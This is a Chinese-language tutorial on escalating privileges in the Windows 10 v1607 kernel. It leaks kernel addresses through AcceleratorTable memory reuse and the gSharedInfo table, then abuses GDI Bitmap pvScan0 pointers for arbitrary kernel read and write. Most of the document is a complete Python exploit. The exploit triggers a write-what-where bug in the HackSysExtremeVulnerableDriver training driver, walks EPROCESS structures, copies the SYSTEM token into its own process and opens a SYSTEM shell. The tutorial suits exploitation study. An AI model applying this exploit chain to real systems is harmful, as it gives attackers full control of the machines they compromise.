Windows10 v1607内核提权技术的发展——利用AcceleratorTable

 

0x001 前言

之前,我们曾讨论过在Win10 v1511下的内核提权,但微软在Win10 v1607做了一些调整,使得我们无法像在v1511上那样顺利地进行提权。

1.将GDI_CELL结构成员pKernelAddress置空,阻止内核信息泄露;

2.可以发现,某些objects会与Bitmap申请的objects分配在一个内存池之下(paged pool),利用该结构体成员gSharedInfo泄露出内核地址。

3.虽然无法直接泄露Bitmap objects地址,但可以申请多个objects,通过gSharedInfo结构体成员得到该objects的内核地址,利用UAF让Bitmap objects重新分配到这些内存。

关于在Win10 v1511下的提权技术,可以参考该文章

Windows特权提升:GDI Bitmap滥用

 

0x002 调试环境

虚拟机:Windows 10 x64 1607 Jul 2016

主机:Windows 10 x64 1709 Dec 2017

关于环境搭建的细节就不再多说了,参考之前的文章,或者该文章:

Part 10: Kernel Exploitation -> Stack Overflow

 

0x003 How to Exploit it?

现在先来回顾一下v1511下的利用过程:

1.申请两个hManager, hWorker的Bitmap objects,获得各自pvscan0指针的内核地址;

2.将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址,这里需要一个内核任意写漏洞;

3.查询获得当前进程与system进程的token

4.调用API SetBitmapBits、GetBitmapBits,将system进程的token写入当前进程。

如何取得pvscan0指针的内核地址?

先来了解一下User objects,用于内核信息泄露的gSharedInfo成员就藏在User objects里

User Objects

通过CreateAcceleratorTable创建0x1000 size的加速表,立刻free掉创建的AcceleratorTable,不断重复,当再次请求分配AcceleratorTable与前一个释放掉的AcceleratorTable相同时, 请求分配Bitmap objects,这时pHead指针的地址就是结构成员pKernelAddress所在的位置。

def alloc_free_accelerator_tables():
    previous_entry = 0
    while (1):
        accel_array = ACCEL_ARRAY()
        hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
        entry = get_entry_from_handle(hAccel)
        user32.DestroyAcceleratorTable(hAccel)
        if previous_entry == entry:
            debug_print ("t[+] Duplicate AcceleratorTable: 0x%X" % entry)
            return entry
        previous_entry = entry

def get_entry_from_handle(handle):
    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
    gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
    handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
    pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
    pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
    return pHead_ptr.contents.value

因为wintypes不包含这些内核数据结构,所以我们需要定义一下

class ACCEL(Structure):
    _fields_ = [("fVirt", BYTE),
                ("key", WORD), 
                ("cmd", WORD)]

class ACCEL_ARRAY(Structure):
    _fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]

debug

通过AcceleratorTable的不断Create、Destroy,Bitmap objects重用AcceleratorTable释放的内存,预测到pvScan0指针的内核地址

获取到,system进程与当前进程的内核地址

注意一下查看几个重要的偏移,不同版本的Win10上可能不一致

 

Exploit it!

完整的EXP

import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con

kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
user32 = windll.user32

hManager = HBITMAP()
hWorker = HBITMAP()

class PEB(Structure):
    _fields_ = [("Junk", c_byte * 0xF8),
                ("GdiSharedHandleTable", c_void_p)]

class PROCESS_BASIC_INFORMATION(Structure):
    _fields_ = [("Reserved1", LPVOID),
                ("PebBaseAddress", POINTER(PEB)),
                ("Reserved2", LPVOID * 2),
                ("UniqueProcessId", c_void_p),
                ("Reserved3", LPVOID)]

class GDICELL64(Structure):
    _fields_ = [("pKernelAddress", c_void_p),
                ("wProcessId", c_ushort), 
                ("wCount", c_ushort),
                ("wUpper", c_ushort),
                ("wType", c_ushort),
                ("pUserAddress", c_void_p)]

class SYSTEM_MODULE_INFORMATION(Structure):
    _fields_ = [("Reserved", c_void_p * 2),
                ("ImageBase", c_void_p), 
                ("ImageSize", c_long),
                ("Flags", c_ulong),
                ("LoadOrderIndex", c_ushort),
                ("InitOrderIndex", c_ushort),
                ("LoadCount", c_ushort),
                ("ModuleNameOffset", c_ushort),
                ("FullPathName", c_char * 256)]

class ACCEL(Structure):
    _fields_ = [("fVirt", BYTE),
                ("key", WORD), 
                ("cmd", WORD)]

class ACCEL_ARRAY(Structure):
    _fields_ = [("ACCEL_ARRAY", POINTER(ACCEL) * 675)]

def alloc_free_accelerator_tables():
    previous_entry = 0
    while (1):
        accel_array = ACCEL_ARRAY()
        hAccel = user32.CreateAcceleratorTableA(addressof(accel_array), 675) # size = 0x1000
        entry = get_entry_from_handle(hAccel)
        user32.DestroyAcceleratorTable(hAccel)
        if previous_entry == entry:
            print "t[+] Duplicate AcceleratorTable: 0x%X" % entry
            return entry
        previous_entry = entry


def get_entry_from_handle(handle):
    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
    gSharedInfo_address = kernel32.GetProcAddress(user32._handle,"gSharedInfo")
    handle_entry = cast (gSharedInfo_address + 0x8, POINTER(c_void_p))
    pHead_ptr_ptr = handle_entry.contents.value + (handle & 0xFFFF) * 0x18
    pHead_ptr = cast(pHead_ptr_ptr, POINTER(c_void_p))
    return pHead_ptr.contents.value

def write_mem(dest, src, length):
    global hManager
    global hWorker

    write_buf = c_ulonglong(dest)
    gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
    gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)

def read_mem(src, dest, length):
    global hManager
    global hWorker

    write_buf = c_ulonglong(src)
    gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
    gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)

def find_kernelBase(input_modules):
    modules = {}

    # Allocate arbitrary buffer and call NtQuerySystemInformation
    system_information = create_string_buffer(0)
    systeminformationlength = c_ulong(0)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Call NtQuerySystemInformation second time with right size
    system_information = create_string_buffer(systeminformationlength.value)
    ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))

    # Read first 4 bytes which contains number of modules retrieved
    module_count = c_ulong(0)
    module_count_string = create_string_buffer(system_information.raw[:8])
    ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))

    # Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
    system_information = create_string_buffer(system_information.raw[8:])
    for x in range(module_count.value):
        smi = SYSTEM_MODULE_INFORMATION()
        temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
        ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
        module_name =  smi.FullPathName.split('\')[-1]
        modules[module_name] = smi

    #debug_print ("rn[+] NtQuerySystemInformation():")

    # Get base addresses and return them in a list
    base_addresses = []
    for input_module in input_modules:
        try:
            base_address = modules[input_module].ImageBase
            #debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
            base_addresses.append(base_address)
        except:
            base_addresses.append(0)

    return base_addresses

def main():
    global hManager
    global hWorker

    hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)

    if not hevDevice or hevDevice == -1:
        print "[-] Couldn't get Device Driver handle."
        sys.exit(0)


    dup_address = alloc_free_accelerator_tables()
    gdi32.CreateBitmap.restype = HBITMAP
    hManager = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
    hManager_pvscan0_off = dup_address + 0x50
    print "[+] Manager Bitmap pvscan0 offset: 0x%X" % hManager_pvscan0_off

    dup_address = alloc_free_accelerator_tables()
    gdi32.CreateBitmap.restype = HBITMAP
    hWorker = gdi32.CreateBitmap(0x100, 0x6D, 1, 0x1, c_void_p())
    hWorker_pvscan0_off = dup_address + 0x50
    print "[+] Worker Bitmap pvscan0 offset: 0x%X" % hWorker_pvscan0_off


    write_where = struct.pack("<Q", hManager_pvscan0_off)
    write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
    write_what_object_ptr = id(write_what_object) + 0x20
    write_what_final = struct.pack("<Q", write_what_object_ptr)
    buf = write_what_final + write_where
    buflen = len(buf)
    kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)


    kernelImage = "ntoskrnl.exe"
    kernelImageBase = find_kernelBase(kernelImage.split())[0]

    kernel32.LoadLibraryA.restype = HMODULE
    hKernelImage = kernel32.LoadLibraryA(kernelImage)
    print "[+] Module Name                                  : {0}".format(kernelImage)
    print "[+] Module Base(Userland)                        : {0}".format(hex(hKernelImage))

    kernel32.GetProcAddress.restype = c_ulonglong
    kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
    PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
    print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))

    PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
    print "[+] PsInitialSystemProcess Kernel Base Address   : {0}".format(hex(PsISP_kernel_addr_ptr))

    PsISP_kernel_addr = c_ulonglong()
    read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
    SYSTEM_EPROCESS = PsISP_kernel_addr.value
    print "[+] SYSTEM EPROCESS                              : {0}".format(hex(SYSTEM_EPROCESS))


    token_off = 0x358
    unique_process_id_off = 0x2e8
    active_process_links_off = 0x2f0

    flink = c_ulonglong()
    read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink)); 

    CURRENT_EPROCESS = 0
    while (True):
        unique_process_id = c_ulonglong(0)

        # Adjust EPROCESS pointer for next entry
        EPROCESS = flink.value - unique_process_id_off - 0x8

        read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));    

        # Check if we're in the current process
        if (os.getpid() == unique_process_id.value):
            CURRENT_EPROCESS = EPROCESS
            break

        read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink)); 

        # If next same as last, we've reached the end
        if (EPROCESS == flink.value - unique_process_id_off - 0x8):
            break
    print "[+] CURRENT EPROCESS                             : {0}".format(hex(CURRENT_EPROCESS))

    system_token = c_ulonglong()
    read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
    write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));

    Popen("start cmd", shell=True)

if __name__ == "__main__":
    main()

WIN~

该文只是针对Win10 v1607的一种提权技术,在真实应用场景里,还需要找到一个内核任意写漏洞,才能完成整套利用过程。

(完)